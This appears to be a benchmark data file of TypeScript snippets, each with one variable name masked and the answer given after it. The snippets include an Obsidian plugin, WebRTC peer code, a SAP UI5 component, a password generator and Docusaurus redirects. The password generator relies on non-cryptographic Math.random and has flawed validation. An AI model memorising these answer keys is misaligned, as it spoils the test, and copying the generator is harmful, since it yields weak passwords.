			const oldFolderPath = oldPath;
			const folderNote = this.folderNoteMap.get(oldFolderPath);
			
			if (folderNote) {
				this.folderNoteMap.delete(oldFolderPath);
				this.folderNoteMap.set(file.path, folderNote);
				
				// 更新隐藏样式
				const styleEl = document.getElementById('folder-note-style') as HTMLStyleElement;
				if (styleEl) {
					this.updateHiddenNotesStyle(styleEl);
				}
			}
		}
		else if (file instanceof TFile) {
			// 文件被重命名
			const parentFolder = file.parent;
			if (parentFolder) {
				// 检查文件名是否与文件夹名称匹配
				const expectedNoteName = this.getFolderNoteName(parentFolder);
				if (file.name === expectedNoteName) {
					this.folderNoteMap.set(parentFolder.path, file);
					this.markFolderWithNote(parentFolder);
				}
				
				// 更新隐藏样式
				const styleEl = document.getElementById('folder-note-style') as HTMLStyleElement;
				if (styleEl) {
					this.updateHiddenNotesStyle(styleEl);
				}
			}
		}
	}

	onunload() {
		// 清理资源
		this.folderNoteMap.clear();
		
		// 移除添加的样式元素
		const styleEl = document.getElementById('folder-note-style');
		if (styleEl) {
			styleEl.remove();
		}
	}

	// 扩展文件浏览器的行为
	patchFileExplorer() {
		try {
			// 使用 CSS 来隐藏文件夹笔记
			this.hideFolderNotesWithCSS();
		} catch (error) {
			console.error('扩展文件浏览器失败', error);
		}
	}
}

// 创建一个纯粹用于显示信息的设置页面
class FolderNoteInfoTab extends PluginSettingTab {
	plugin: FolderNotePlugin;

	constructor(app: App, plugin: FolderNotePlugin) {
		super(app, plugin);
		this.plugin = plugin;
	}

	display(): void {
		const {containerEl} = this;
		containerEl.empty();

		const  [MASK]  = containerEl.createDiv();
		 [MASK] .addClass('folder-note-info');
		
		const title =  [MASK] .createEl('h2');
		title.setText('Folder Note');

		const note =  [MASK] .createEl('p');
		note.setText('注意：此插件不需要任何设置，开箱即用。');
		note.addClass('folder-note-important');
		
		const description =  [MASK] .createEl('p');
		description.setText('该插件允许你点击文件夹时显示与文件夹同名的笔记。');
		
		const featuresList =  [MASK] .createEl('ul');
		
		const features = [
			'文件夹旁会显示一个小图标，表示该文件夹存在对应的文件夹笔记',
			'点击图标可以打开该文件夹对应的笔记',
			'如果文件夹下没有同名笔记，点击图标时会询问是否要创建',
			'文件夹笔记在文件浏览器中会被自动隐藏',
			'右键点击文件夹可以手动创建文件夹笔记'
		];
		
		features.forEach(feature => {
			const listItem = featuresList.createEl('li');
			listItem.setText(feature);
		});
		
		
	}
}
",infoDiv
926,"///<reference path=""typings/webrtc/RTCPeerConnection.d.ts""/>
///<reference path=""typings/webrtc/MediaStream.d.ts""/>
///<reference path=""typings/stormancer.d.ts""/>
///<reference path=""typings/jQuery/jquery.d.ts""/>
declare function getUserMedia(constraints: any, success: (s: MediaStream) => void, failure: () => void): void;
declare function trace(text: string): void;
module Experiment {
    export class Peer {
        public remoteId: string;
        public localId: string;
        private scene: Stormancer.IScene;
        private isMaster: boolean;
        private callback: (stream: MediaStream) => void;

        public constructor(localId: string, remoteId: string, isMaster: boolean, scene: Stormancer.IScene, [MASK] : StreamConfiguration) {
            this.remoteId = remoteId;
            this.localId = localId;
            this.scene = scene;

            this.isMaster = isMaster;
            this.peer = new RTCPeerConnection(null);
            if ( [MASK] ) {
                this.peer.addStream( [MASK] .stream);
                this.callback =  [MASK] .callback;
            }
            this.scene.onMessage(""p2p.ice"", data=> {
                if (data.origin == this.remoteId) {
                    trace(""received ICE candidate from "" + this.remoteId);
                    try {
                        if (data.candidate) {
                            this.peer.addIceCandidate(new RTCIceCandidate(data.candidate));
                        }
                    }
                    catch (e) {
                        trace(e);
                    }
                }
            });

            this.scene.onMessage(""p2p.sdp.request"", msg=> {
                var data = msg.data;
                if (data.origin == this.remoteId && !this.isMaster) {
                    trace(""received SDP offer from "" + this.remoteId);
                    this.peer.setRemoteDescription(new RTCSessionDescription(data.sdp));

                    this.peer.createAnswer(sdp=> {
                        this.peer.setLocalDescription(sdp);
                        msg.data = { origin: this.localId, destination: this.remoteId, sdp: sdp };
                        trace(""sent SDP answer to "" + this.remoteId);
                        this.scene.send(""p2p.sdp.answer"", msg);

                    }, this.OnFailure);
                }
            });

        }

        public close(): void {
            this.peer.close();
            this.peer = null;
        }
        private peer: webkitRTCPeerConnection;

        public AddStream(stream: MediaStream): void {
            if (this.peer == null) {
                throw ""Peer closed"";
            }
            this.peer.addStream(stream);

        }

        public OnAddStream(callback: (stream: MediaStream) => void) {
            this.callback = callback;
        }


        public start(): JQueryPromise<void> {
            if (this.peer == null) {
                throw ""Peer closed"";
            }



            this.peer.onaddstream = e=> {
                this.callback(e.stream);
            };
            this.peer.onicecandidate = e=> {
                trace(""sending ICE candidate to "" + this.remoteId);
                this.scene.send(""p2p.ice"", { origin: this.localId, destination: this.remoteId, candidate: e.candidate });
            };
            var deferred = $.Deferred<void>();
            if (this.isMaster) {
                this.peer.createOffer(description=> {
                    this.peer.setLocalDescription(description);
                    trace(""sending SDP offer to "" + this.remoteId);
                    this.scene.sendRequest(""p2p.sdp"", { origin: this.localId, destination: this.remoteId, sdp: description },
                        answer=> {
                            trace(""received SDP answer from "" + this.remoteId);
                            this.peer.setRemoteDescription(new RTCSessionDescription(answer.sdp));
                            deferred.resolve();
                        }, () => { });
                }, this.OnFailure);
            }
            else {
                deferred.resolve();
            }
            return deferred.promise();
        }

        private OnFailure(event: any): void {
            console.error(event);
        }
    }
    export class StreamConfiguration {
        stream: MediaStream;
        callback: (MediaStream) => void
    }
    export class PeerManager {

        private scene: Stormancer.IScene;
        private tasks: Array<() => JQueryPromise<void>>;
        public Peers: { [remoteId: string]: Peer };

        public Streams: { [remoteId: string]: StreamConfiguration };

        public onPeerAdded: (remoteId: string, peer: Peer) => void;
        public onPeerRemoved: (remoteId: string, reason: string) => void;

        private _taskRunning: boolean;
        private runTask(task: ()=>JQueryPromise<void>) {

            this.tasks.push(task);
            if (!this._taskRunning) {
                this.runTaskLoop();
            }
        }
        private runTaskLoop(): void {
            
            this._taskRunning = true;
            var task = this.tasks.pop();
            if (task != null) {
                task().then(() => {
                    this.runTaskLoop();
                    });
            }
            else {
                this._taskRunning = false;
            }
        }
        public constructor(scene: Stormancer.IScene) {
            this.Peers = {};
            this.Streams = {};
            this.scene = scene;
            this.tasks = new Array();
            scene.onMessage(""p2p.opening"", msg=> {
                trace(""I am "" + msg.localPeer);
                trace(""opening P2P connection with "" + msg.remotePeer);
                var peer = new Peer(msg.localPeer, msg.remotePeer, msg.isMasterPeer, this.scene,this.Streams[msg.remotePeer]);
                this.Peers[msg.remotePeer] = peer;
                var answer = { pairId: msg.pairId, peerId: msg.localPeer };
                trace(""Sending ready state."" + JSON.stringify(answer));
                scene.send(""p2p.ready"", answer);
            });
            scene.onMessage(""p2p.start"", msg=> {
                var remotePeer = msg.remotePeer;
                var peer = this.Peers[remotePeer];
                trace(""P2P connection synchronized with "" + msg.remotePeer);
                this.runTask(()=> peer.start());
                if (this.onPeerAdded) {
                    this.onPeerAdded(msg.remotePeer, peer);
                }
            });
            scene.onMessage(""p2p.close"", msg=> {
                var peer = this.Peers[msg.remotePeer];
                if (peer) {
                    trace(""closing P2P connection with "" + msg.remotePeer);
                    peer.close();
                    delete this.Peers[msg.RemotePeer];
                }
                if (this.onPeerRemoved) {
                    this.onPeerRemoved(msg.remotePeer, msg.reason);
                }
            });
        }
    }
}",streamConfig
927,"import UIComponent from ""sap/ui/core/UIComponent"";
import deviceModel from ""./core/DeviceModel"";
import { support } from ""sap/ui/Device"";
import FlexibleColumnLayoutSemanticHelper from ""sap/f/FlexibleColumnLayoutSemanticHelper"";
import { LayoutType } from ""sap/f/library"";
import FlexibleColumnLayout from ""sap/f/FlexibleColumnLayout"";
import JSONModel from ""sap/ui/model/json/JSONModel"";
import UI5Event from ""sap/ui/base/Event"";
import View from ""sap/ui/core/mvc/View"";
import ErrorHandler from ""./controller/ErrorHandler"";
import State from ""./state/State"";
import Service from ""./service/Service"";
import ODataModelV4 from ""sap/ui/model/odata/v4/ODataModel"";
import ODataModelV2 from ""sap/ui/model/odata/v2/ODataModel"";
import Model from ""sap/ui/Model"";


type routeParameters = {
	arguments: {
		layout: string;
	}
};
type startupParameters = {
	appType:string[]
}
type componentData = {
	startupParameters: startupParameters
};
type routeInfo = {
	name:string;
};

export type UIState = {
	""layout"": string;
	""maxColumnsCount"": number;
	""columnsSizes"": {
		""beginColumn"": number;
		""midColumn"": number;
		""endColumn"": number;
	},
	""columnsVisibility"": {
		""beginColumn"": boolean;
		""midColumn"": boolean;
		""endColumn"": boolean;
	},
	""isFullScreen"": boolean;
	""isLogicallyFullScreen"": boolean;
	""actionButtonsInfo"": {
		""midColumn"": {
			""fullScreen"": string;
			""exitFullScreen"": string;
			""closeColumn"": string;
		},
		""endColumn"": {
			""fullScreen"": string;
			""exitFullScreen"": string;
			""closeColumn"": string;
		}
	}
}

/**
 * @namespace be.thevaluechain.fioriadvanced
 */
export default class Component extends UIComponent {
	private contentDensityClass: string | undefined;
	private errorHandler: ErrorHandler;
	public state:State;   
	public service:Service;   

	public static metadata = {
		manifest: ""json""
	};

	

	public init(): void {
		// this.errorHandler = new ErrorHandler(this);
		super.init();

        
        // this.service = new service(this.getModel() as ODataModelV4);
		this.service = new Service(this.getModel() as ODataModelV2);
        this.state = new State(this.service);
		this.setModel(this.state.getModel(), ""state"");


		this.setModel(deviceModel.createDeviceModel(), ""device"");
		this.setModel(new JSONModel(), ""appView"");
		this.getRouter().attachBeforeRouteMatched((event: UI5Event) => this.onBeforeRouteMatched(event), this)
		this.getRouter().initialize();
	}
	


	public destroy(): void {
		this.getRouter().detachBeforeRouteMatched((event: UI5Event) => this.onBeforeRouteMatched(event), this);
		super.destroy();
	}

	public getContentDensityClass(): string {
		if (this.contentDensityClass === undefined) {
			// check whether FLP has already set the content density class; do nothing in this case
			// eslint-disable-next-line
			if (document.body.classList.contains(""sapUiSizeCozy"") || document.body.classList.contains(""sapUiSizeCompact"")) {
				this.contentDensityClass = """";
			} else if (!support.touch) { // apply ""compact"" mode if touch is not supported
				this.contentDensityClass = ""sapUiSizeCompact"";
			} else {
				// ""cozy"" in case of touch support; default for most sap.m controls, but needed for desktop-first controls like sap.ui.table.Table
				this.contentDensityClass = ""sapUiSizeCozy"";
			}
		}
		return this.contentDensityClass;
	}

	private async onBeforeRouteMatched(oEvent: UI5Event) {
		const model = (this.getModel(""appView"") as JSONModel),
			layout = (oEvent.getParameters() as routeParameters).arguments.layout;

		// If there is no layout parameter, query for the default level 0 layout (normally OneColumn)
		if (!layout) {
			const helper = await this.getHelper() ;
			const nextUIState = (helper.getNextUIState(0) as UIState);
			model.setProperty(""/layout"", nextUIState.layout);
			return;
		}

		model.setProperty(""/layout"", layout);
	}

	public async getHelper(): Promise<FlexibleColumnLayoutSemanticHelper> {
		const fcl = await this.getFcl(),
			settings = {
				defaultTwoColumnLayoutType: LayoutType.TwoColumnsMidExpanded,
				defaultThreeColumnLayoutType: LayoutType.ThreeColumnsMidExpanded
			};
		return (FlexibleColumnLayoutSemanticHelper.getInstanceFor(fcl, settings));
	}

	private getFcl(): Promise<FlexibleColumnLayout> {
		return new Promise((resolve, reject) => {
			const  [MASK]  = ((this.getRootControl() as View).byId('fcl') as FlexibleColumnLayout);
			if (! [MASK] ) {
				(this.getRootControl() as View).attachAfterInit((oEvent: UI5Event) => {
					resolve(((oEvent.getSource() as View).byId('fcl') as FlexibleColumnLayout));
				});
				return;
			}
			resolve( [MASK] );
		});
	}




	///Fixes for Typescript
	//Some methods are not recognized, so we declare them again and forwar the call via super
	//=======================================================================================


	/**
	 * Sets or unsets a model for the given model name for this ManagedObject.
	 * @param model Model to be set or null or undefined
	 * @param modelName the name of the model or undefined
	 */
	setModel(model: Model, modelName: string) {
		super.setModel(model, modelName);
	}

	/**
	 * Get the model to be used for data bindings with the given model name.
	 * @param modelName name of the model to be retrieved
	 * @returns {sap.ui.model.Model}
	 */
	getModel(modelName?: string):Model {
		return super.getModel(modelName);
	}


	// getRouter():Model {
	// 	return super.getRouter();
	// }
}",FCL
928,"import React, { useState } from ""react""

export default function usePasswordGenerator() {
    // elements (????)
    const [rangeInputValue, setRangeInputValue] = useState<number>(8);
    const [password, setPassword] = useState<string>("""");

    const [enableUppercaseLetters, setEnableUppercaseLetters] = useState<boolean>(false);
    const [enableNumbers, setEnableNumbers] = useState<boolean>(false);
    const [enableSpecialCharacters, setEnableSpecialCharacters] = useState<boolean>(false);

    // Validation
    const [validPassword, setValidPassword] = useState<boolean>(false);

    // functions
    const checkNumbers = (password: string) => {
        return Boolean(password.match(/\d/))
    }

    const checkUppercase = (password: string) => {
        return Boolean(password.match(/[A-Z]/));
    }

    const checkSpecialCharacters = (password: string) => {
        return Boolean(password.match(/[`!@#$%^&*()_+\-=[\]{};':""\\|,.<>/?~]/))
    }

    const generatePassword = () => {
        const allowedNumbers = ""0123456789"";
        const allowedLetters = ""abcdefghijklmnopqrstuvwxyz"";
        const allowedUppercaseLetters = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ""
        const  [MASK]  = ""!@#$%^&*()"";
        let allowedCharacters = allowedLetters;

        if (enableNumbers) {
            allowedCharacters += allowedNumbers
        }

        if (enableUppercaseLetters) {
            allowedCharacters += allowedUppercaseLetters
        }

        if (enableSpecialCharacters) {
            allowedCharacters +=  [MASK] ;
        }

        setPassword("""")

        let generatedPassword = """";

        for (let i = 0; i < rangeInputValue; i++) {
            let randomNumber = Math.floor(Math.random() * allowedCharacters.length)
            generatedPassword += allowedCharacters.substring(randomNumber, randomNumber + 1)
        }
        setPassword(generatedPassword)
        validatePassword(password)
    }

    const validatePassword = (password: string) => {
        if (checkNumbers(password)
            || checkUppercase(password)
            || checkSpecialCharacters(password)) {
            setValidPassword(!validPassword)
        }
    }

    return {
        rangeInputValue,
        setRangeInputValue,
        password,
        setPassword,
        enableUppercaseLetters,
        setEnableUppercaseLetters,
        enableNumbers,
        setEnableNumbers,
        enableSpecialCharacters,
        setEnableSpecialCharacters,
        validPassword,
        checkNumbers,
        checkUppercase,
        checkSpecialCharacters,
        generatePassword,
        validatePassword,
    }
}",allowedSpecialCharacters
929,"import { Options } from '@docusaurus/plugin-client-redirects';

export const redirectsOptions: Options = {
    redirects: [
        // Write down PR responsible for the removal of a page next to the ""from"" redirect.
        {
            to: '/adrs',
            from: [
                '/adrs/0000-architectural-decision-records', // #200 Restructure docs
                '/adrs/template' // #200 Restructure docs
            ],
        },
        {
            to: '/core/oasis-node/cli#dump',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/list-accounts', // #399 Replace oasis-node with Oasis CLI
            ],
        },
        {
            to: '/general/manage-tokens/',
            from: [
                '/general/manage-tokens/how-to-transfer-rose-into-emerald-paratime', // #171 Add sapphire docs
                '/general/manage-tokens/how-to-transfer-rose-into-evm-paratime', // #200 Restructure docs
            ],
        },
        {
            to: '/general/manage-tokens/faq', // #how-can-i-transfer-rose-tokens-from-my-bitpie-wallet-to-my-oasis-wallet
            from: '/general/manage-tokens/holding-rose-tokens/bitpie-wallet', // #475 Delete bitpie-wallet.md
        },
        {
            to: '/general/manage-tokens/cli',
            from: [
                '/general/manage-tokens/advanced', // #399 Replace oasis-node with Oasis CLI
                '/general/manage-tokens/advanced/oasis-cli-tools/', // #399 Replace oasis-node with Oasis CLI
                '/general/manage-tokens/advanced/file-based-signer', // #399 Replace oasis-node with Oasis CLI
            ],
        },
        {
            to: '/general/manage-tokens/cli/account#amend-commission-schedule',
            from: [
                '/general/run-a-node/set-up-your-node/amend-commission-schedule', // #200 Restructure docs
                '/node/run-your-node/validator-node/amend-commission-schedule', // #399 Replace oasis-node with Oasis CLI
            ],
        },
        {
            to: '/general/manage-tokens/cli/account#delegate',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/delegate-tokens', // #399 Replace oasis-node with Oasis CLI
            ]
        },
        {
            to: '/general/manage-tokens/cli/account#deposit',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/deposit-withdraw-tokens-to-from-paratime', // #399 Replace oasis-node with Oasis CLI
            ]
        },
        {
            to: '/general/manage-tokens/cli/account#from-public-key',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/address', // #399 Replace oasis-node with Oasis CLI
            ]
        },
        {
            to: '/general/manage-tokens/cli/account#show',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/get-account-info', // #399 Replace oasis-node with Oasis CLI
                '/general/manage-tokens/advanced/oasis-cli-tools/get-account-nonce', // #399 Replace oasis-node with Oasis CLI
            ]
        },
        {
            to: '/general/manage-tokens/cli/account#transfer',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/transfer-tokens', // #399 Replace oasis-node with Oasis CLI
            ]
        },
        {
            to: '/general/manage-tokens/cli/account#undelegate',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/reclaim-tokens', // #399 Replace oasis-node with Oasis CLI
            ]
        },
        {
            to: '/general/manage-tokens/cli/network#gas-costs',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/gas-costs', // #399 Replace oasis-node with Oasis CLI
            ]
        },
        {
            to: '/general/manage-tokens/cli/network#governance_cast_vote',
            from: [
                '/general/run-a-node/set-up-your-node/governance', // #200 Restructure docs
                '/node/run-your-node/validator-node/governance', // #399 Replace oasis-node with Oasis CLI
            ],
        },
        {
            to: '/general/manage-tokens/cli/network#show-native-token',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/common-staking-info', // #399 Replace oasis-node with Oasis CLI
            ]
        },
        {
            to: '/general/manage-tokens/cli/setup',
            from: [
                '/general/manage-tokens/advanced/oasis-cli-tools/prerequisites', // #399 Replace oasis-node with Oasis CLI
                '/general/manage-tokens/advanced/oasis-cli-tools/setup', // #399 Replace oasis-node with Oasis CLI
            ]
        },
        {
            to: '/get-involved/',
            from: [
                '/general/community-resources/community-hub', // #200 Restructure docs
                '/general/community-resources/community-made-resources', // #200 Restructure docs
                '/general/oasis-network/connect-with-us', // #200 Restructure docs
            ],
        },
        {
            to: '/get-involved/delegation-policy',
            from: '/general/foundation/delegation-policy', // #200 Restructure docs
        },
        {
            to: '/get-involved/oasis-core',
            from: '/general/contribute-to-the-network/contribution-guidelines', // #200 Restructure docs
        },
        {
            to: '/get-involved/run-node/validator-node',
            from: '/general/contribute-to-the-network/run-validator', // #200 Restructure docs
        },
        {
            to: '/get-involved/run-node/paratime-node',
            from: '/general/contribute-to-the-network/run-a-paratime-node', // #200 Restructure docs
        },
        {
            to: '/get-involved/network-governance',
            from: '/general/contribute-to-the-network/network-governance', // #200 Restructure docs
        },
        {
            to: '/get-involved/token-delivery-and-kyc',
            from: '/general/community-resources/token-delivery-and-kyc', // #200 Restructure docs
        },
        {
            to: '/build/',
            from: [
                '/oasis-sdk/', // #200 Restructure docs
                '/general/developer-resources/overview', // #200 Restructure docs
                '/dapp/', // #1058 Rename dapp to build
            ],
        },
        {
            to: '/general/oasis-network/faq',
            from: '/general/faq/oasis-network-faq', // #200 Restructure docs
        },
        {
            to: '/general/manage-tokens/',
            from: [
              '/general/manage-tokens/overview', // #200 Restructure docs
              '/general/manage-tokens/how-to-transfer-rose-into-paratime', // #777 Revamp manage-tokens chapters
            ]
        },
        {
            to: '/general/manage-tokens/holding-rose-tokens/ledger-wallet/',
            from: [
                '/oasis-core-ledger', // #626 Deprecate oasis-core-ledger
                '/oasis-core-ledger/usage/setup', // #626 Deprecate oasis-core-ledger
                '/oasis-core-ledger/usage/address', // #626 Deprecate oasis-core-ledger
                '/oasis-core-ledger/usage/entity', // #626 Deprecate oasis-core-ledger
                '/oasis-core-ledger/usage/transactions', // #626 Deprecate oasis-core-ledger
                '/oasis-core-ledger/usage/wallets', // #626 Deprecate oasis-core-ledger
                '/oasis-core-ledger/versioning', // #626 Deprecate oasis-core-ledger
                '/oasis-core-ledger/release-process', // #626 Deprecate oasis-core-ledger
            ]
        },
        {
            to: '/general/oasis-network/',
            from: '/general/oasis-network/overview', // #200 Restructure docs
        },
        {
            to: 'https://oasis.net/',
            from: [
              '/general/oasis-network/why-oasis', // #1052 Redirect why page to OPF
              '/oasis-network-primer/', // #200 Restructure docs
            ]
        },
        {
            to: '/general/oasis-network/token-metrics-and-distribution',
            from: '/oasis-network-primer/token-metrics-and-distribution', // #200 Restructure docs
        },
        {
            to: '/node/',
            from: '/general/run-a-node/node-operator-overview', // #200 Restructure docs
        },
        {
            to: '/node/mainnet/',
            from: '/general/oasis-network/network-parameters', // #200 Restructure docs
        },
        {
            to: '/node/mainnet/upgrade-log',
            from: '/general/run-a-node/upgrade-log', // #200 Restructure docs
        },
        {
            to: '/node/genesis-doc',
            from: '/general/oasis-network/genesis-doc', // #200 Restructure docs
        },
        {
            to: '/node/run-your-node',
            from: [
                '/general/run-a-node/set-up-your-node/run-an-ias-proxy', // #200 Restructure docs
                '/node/run-your-node/ias-proxy', // #1076 Remove IAS Proxy
            ],
        },
        {
            to: '/node/run-your-node/advanced/remote-signer',
            from: [
                '/node/run-your-node/advanced/using-ledger-backed-consensus-key-with-a-remote-signer', // #626 Deprecate oasis-core-ledger
                '/node/run-your-node/advanced/install-oasis-remote-signer-binary', // #626 Deprecate oasis-core-ledger
            ],
        },
        {
            to: '/node/run-your-node/archive-node',
            from: '/general/run-a-node/set-up-your-node/run-archive-node', // #200 Restructure docs
        },
        {
            to: '/node/run-your-node/non-validator-node',
            from: '/general/run-a-node/set-up-your-node/run-non-validator', // #200 Restructure docs
        },
        {
            to: '/node/run-your-node/paratime-client-node',
            from: '/general/run-a-node/set-up-your-node/run-a-paratime-client-node', // #200 Restructure docs
        },
        {
            to: '/node/run-your-node/paratime-node',
            from: '/general/run-a-node/set-up-your-node/run-a-paratime-node', // #200 Restructure docs
        },
        {
            to: '/node/run-your-node/prerequisites/set-up-tee',
            from: '/node/run-your-node/prerequisites/set-up-trusted-execution-environment-tee', // #1261 ROFL revamp for marketplace and ROFL node
        },
        {
            to: '/node/run-your-node/seed-node',
            from: '/general/run-a-node/set-up-your-node/run-seed-node', // #200 Restructure docs
        },
        {
            to: '/node/run-your-node/sentry-node',
            from: '/general/run-a-node/set-up-your-node/sentry-node-architecture', // #200 Restructure docs
        },
        {
            to: '/node/run-your-node/validator-node',
            from: [
                '/general/run-a-node/set-up-your-node/run-validator', // #200 Restructure docs
                '/general/run-a-node/set-up-your-node/creating-an-entity-package', // #200 Restructure docs
            ],
        },
        {
            to: '/node/run-your-node/troubleshooting',
            from: '/general/run-a-node/troubleshooting', // #200 Restructure docs
        },
        {
            to: '/node/testnet/',
            from: '/general/foundation/testnet/', // #200 Restructure docs
        },
        {
            to: '/node/testnet/upgrade-log',
            from: '/general/foundation/testnet/upgrade-log', // #200 Restructure docs
        },
        {
            to: '/build/tools/build-paratime/',
            from: [
                '/oasis-sdk/runtime/getting-started', // #200 Restructure docs
                '/paratime/', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/node/mainnet/previous-upgrades/damask-upgrade',
            from: '/node/mainnet/damask-upgrade' // #572 Move Damask Upgrade docs
        },
        {
            to: '/node/mainnet/eden-upgrade',
            from: '/node/mainnet/e-upgrade' // #600 Add 23.0 upgrade's name
        },
        {
            to: 'https://api.docs.oasis.io/sol/sapphire-contracts',
            from: '/dapp/sapphire/precompiles' // #688 Migrate dapp/sapphire/precompiles chapter to api.docs.oasis.io
        },
        {
            to: '/build/sapphire/',
            from: [
                '/general/developer-resources/sapphire-paratime', // #200 Restructure docs
                '/dapp/sapphire/', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/build/sapphire/quickstart',
            from: [
                '/general/developer-resources/sapphire-paratime/writing-dapps-on-sapphire', // #218 Add sapphire tutorial
                '/dapp/sapphire/writing-dapps-on-sapphire', // #218 Add sapphire tutorial
                '/dapp/sapphire/quickstart', // #1058 Rename dapp to build
            ],
        },
        {
            to: '/build/sapphire/network',
            from: [
                '/dapp/sapphire/network', // #1058 Rename dapp to build
            ],
        },
        {
            to: '/build/sapphire/addresses',
            from: [
                '/dapp/sapphire/addresses', // #1058 Rename dapp to build
            ],
        },
        {
            to: '/build/sapphire/develop/authentication',
            from: [
                '/dapp/sapphire/authentication', // #1058 Rename dapp to build
            ],
        },
        {
            to: '/build/sapphire/develop/browser',
            from: [
                '/dapp/sapphire/browser', // #1058 Rename dapp to build
            ],
        },
        {
            to: '/build/sapphire/develop',
            from: [
                '/dapp/sapphire/guide', // #1058 Rename dapp to build
            ],
        },
        {
            to: '/build/sapphire/develop/gasless',
            from: [
                '/dapp/sapphire/gasless', // #1058 Rename dapp to build
            ],
        },
        {
            to: '/build/sapphire/develop/deployment',
            from: [
                '/dapp/sapphire/deployment', // #1058 Rename dapp to build
            ],
        },
        {
            to: '/build/tools',
            from: [
                '/dapp/tools', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/build/tools/band',
            from: [
                '/dapp/emerald/integrating-band-oracle-smart-contract', // #907 Move Band oracle to Tools section
                '/dapp/tools/band', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/build/tools/localnet',
            from: [
                '/dapp/tools/localnet', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/build/tools/abi-playground',
            from: [
                '/dapp/tools/abi-playground', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/build/tools/remix',
            from: [
                '/dapp/tools/remix', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/build/tools/verification',
            from: [
                '/dapp/sapphire/verification', // #1054 Move Sapphire verification to Tools section
                '/dapp/tools/verification', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/build/tools/other-paratimes/emerald/',
            from: [
                '/dapp/emerald/', // #1041 Move Emerald and Cipher to /tools/other-paratimes/
                '/dapp/tools/other-paratimes/emeerald/', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/build/tools/other-paratimes/cipher/',
            from: [
                '/oasis-sdk/contract/getting-started', // #200 Restructure docs'
                '/dapp/cipher/', // #1041 Move Emerald and Cipher to /tools/other-paratimes/
                '/dapp/tools/other-paratimes/cipher/', // #1058 Rename dapp to build
            ]
        },
        {
            to: '/build/rofl/',
            from: [
		    '/rofl/', // #1058 Rename dapp to build
		    '/rofl/trust-root', // #1058 Rename dapp to build
	    ],
        },
        {
            to: '/build/rofl/prerequisites',
            from: '/rofl/prerequisites', // #1058 Rename dapp to build
        },
        {
            to: '/build/rofl/app',
            from: '/rofl/app', // #1058 Rename dapp to build
        },
        {
            to: '/build/rofl/deployment',
            from: '/rofl/deployment', // #1058 Rename dapp to build
        },
        {
            to: '/build/opl/',
            from: '/dapp/opl/', // #1058 Rename dapp to build
        },
        {
            to: '/build/opl/opl-sdk',
            from: '/dapp/opl/opl-sdk', // #1058 Rename dapp to build
        },
        {
            to: '/build/opl/celer',
            from: '/dapp/opl/celer', // #1058 Rename dapp to build
        },
        {
            to: '/build/opl/router-protocol',
            from: '/dapp/opl/router-protocol', // #1058 Rename dapp to build
        },
        {
            to: '/general/manage-tokens/how-to-bridge-assets', // #859 Revamp bridging assets chapter
            from: '/general/manage-tokens/how-to-transfer-eth-erc20-to-emerald-paratime',
        },
    ],
    createRedirects( [MASK] ) {
        // #119 Add /oasis-core/adr/* -> /adrs/* redirection
        if ( [MASK] .includes('/adrs')) {
            return [ [MASK] .replace('/adrs', '/oasis-core/adr')];
        }
        // #200 Restructure docs
        if ( [MASK] .includes('/node/mainnet')) {
            return [ [MASK] .replace('/node/mainnet', '/general/mainnet')];
        }
        if ( [MASK] .includes('/node/run-your-node/advanced')) {
            return [ [MASK] .replace('/node/run-your-node/advanced', '/general/run-a-node/advanced')];
        }
        if ( [MASK] .includes('/node/run-your-node/prerequisites')) {
            return [ [MASK] .replace('/node/run-your-node/prerequisites', '/general/run-a-node/prerequisites')];
        }
        if ( [MASK] .includes('/node/run-your-node/maintenance')) {
            return [ [MASK] .replace('/node/run-your-node/maintenance', '/general/run-a-node/maintenance-guides')];
        }
        if ( [MASK] .includes('/build/emerald')) {
            return [ [MASK] .replace('/build/emerald', '/general/developer-resources/emerald-paratime')];
        }
        if ( [MASK] .includes('/build/cipher')) {
            return [ [MASK] .replace('/build/cipher', '/oasis-sdk/contract')];
        }
        if ( [MASK] .includes('/build/tools/build-paratime')) {
            return [ [MASK] .replace('/build/tools/build-paratime', '/oasis-sdk/runtime')];
        }
        if ( [MASK] .includes('/core')) {
            return [ [MASK] .replace('/core', '/oasis-core')];
        }
        if ( [MASK] .includes('/dapp/')) {
            return [ [MASK] .replace('/dapp/', '/build/')];
        }
        return undefined;
    },
};
",existingPath
930,"import { NextRequest, NextResponse } from ""next/server"";
import { SentenceSplitter, globalsHelper } from ""@llamaindex/edge"";

interface RequestBody {
	text?: string;
	chunkSize?: number;
	chunkOverlap?: number;
	splitLongSentences?: boolean;
	chunkingTokenizerFn?: (text: string) => string[];
	paragraphSeparator?: string;
}

export async function POST(req: NextRequest) {
	const body = (await req.json()) as RequestBody;

	if (!body ?? !body.text ?? !body.chunkSize ?? !body.chunkOverlap) {
		return NextResponse.json({ error: ""Invalid request"" }, { status: 400 });
	}

	if (body.chunkSize < 1 || body.chunkOverlap < 0) {
		return NextResponse.json(
			{ error: ""Invalid chunk size or overlap"" },
			{ status: 400 }
		);
	}

	const {
		text,
		chunkSize = 512,
		chunkOverlap = 0,
		splitLongSentences,
		chunkingTokenizerFn,
		paragraphSeparator,
	} = body;

	const  [MASK]  = new SentenceSplitter({
		chunkSize,
		chunkOverlap,
		splitLongSentences,
		chunkingTokenizerFn,
		paragraphSeparator,
	});

	const textSplits =  [MASK] .splitText(text) as string[];

	const data = textSplits.map((split) => {
		const tokens = globalsHelper.tokenizer()(split);
		return { text: split, tokens: tokens.length };
	});

	return NextResponse.json({ data }, { status: 200 });
}
",splitter
931,"import RootPath from ""app-root-path"";
import fs from ""fs"";
import path from ""path"";
